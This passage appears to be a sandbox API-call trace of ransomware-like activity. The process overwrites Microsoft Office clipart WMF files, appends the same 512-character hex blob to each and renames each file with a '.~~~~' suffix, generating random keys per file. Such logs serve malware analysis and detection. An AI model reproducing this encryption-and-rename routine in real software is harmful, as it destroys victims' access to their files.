	[0091.171] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x9dc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x9dc, lpOverlapped=0x0) returned 1
	[0091.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.174] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.174] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.174] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.174] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.174] CloseHandle (hObject=0x12c) returned 1
	[0091.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.~~~~")) returned 1
	[0091.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.274] GetLastError () returned 0x0
	[0091.425] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.426] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.426] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.426] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21141626784) returned 1
	[0091.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0466cd0, dwHighDateTime=0x1d60e1e)) 
	[0091.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28d4a18
	[0091.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d4a18 | out: hHeap=0x300000) returned 1
	[0091.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0091.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0091.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384c58
	[0091.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.427] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.427] GetLastError () returned 0x0
	[0091.427] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.427] GetLastError () returned 0x0
	[0091.431] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffb8ee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.431] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x4712, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x4712, lpOverlapped=0x0) returned 1
	[0091.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.432] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.432] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.432] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.432] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.432] CloseHandle (hObject=0x118) returned 1
	[0091.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1860
	[0091.432] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.~~~~")) returned 1
	[0091.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.433] GetLastError () returned 0x0
	[0091.433] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.434] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.434] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.434] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21142445104) returned 1
	[0091.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0466cd0, dwHighDateTime=0x1d60e1e)) 
	[0091.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3828b0
	[0091.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3828b0 | out: hHeap=0x300000) returned 1
	[0091.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0091.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1860
	[0091.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0091.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384c58
	[0091.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.435] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.435] GetLastError () returned 0x0
	[0091.435] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.435] GetLastError () returned 0x0
	[0091.437] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffbff4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.437] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x400c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x400c, lpOverlapped=0x0) returned 1
	[0091.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.438] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.438] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.438] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.438] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.438] CloseHandle (hObject=0x118) returned 1
	[0091.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.~~~~")) returned 1
	[0091.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.439] GetLastError () returned 0x0
	[0091.439] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.440] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.440] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.440] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21143050134) returned 1
	[0091.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa048ce30, dwHighDateTime=0x1d60e1e)) 
	[0091.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3828e8
	[0091.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3828e8 | out: hHeap=0x300000) returned 1
	[0091.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0091.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0091.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384d88
	[0091.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.441] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.441] GetLastError () returned 0x0
	[0091.441] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.441] GetLastError () returned 0x0
	[0091.446] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffed44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.446] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x12bc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x12bc, lpOverlapped=0x0) returned 1
	[0091.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.447] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.447] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.447] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.447] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.447] CloseHandle (hObject=0x118) returned 1
	[0091.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.447] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.~~~~")) returned 1
	[0091.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.448] GetLastError () returned 0x0
	[0091.449] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.450] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.450] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.450] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21144034010) returned 1
	[0091.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa048ce30, dwHighDateTime=0x1d60e1e)) 
	[0091.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2368
	[0091.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2368 | out: hHeap=0x300000) returned 1
	[0091.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0091.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0091.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384e20
	[0091.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.451] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.451] GetLastError () returned 0x0
	[0091.451] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.451] GetLastError () returned 0x0
	[0091.453] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff7c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.453] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x83c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x83c, lpOverlapped=0x0) returned 1
	[0091.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.454] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.454] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.454] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.454] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.454] CloseHandle (hObject=0x118) returned 1
	[0091.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1860
	[0091.454] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.~~~~")) returned 1
	[0091.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.455] GetLastError () returned 0x0
	[0091.455] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.456] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.456] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.456] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21144626507) returned 1
	[0091.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa04b2f90, dwHighDateTime=0x1d60e1e)) 
	[0091.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2330
	[0091.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2330 | out: hHeap=0x300000) returned 1
	[0091.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0091.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1860
	[0091.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0091.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384eb8
	[0091.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.457] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.457] GetLastError () returned 0x0
	[0091.457] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.457] GetLastError () returned 0x0
	[0091.459] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffec16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
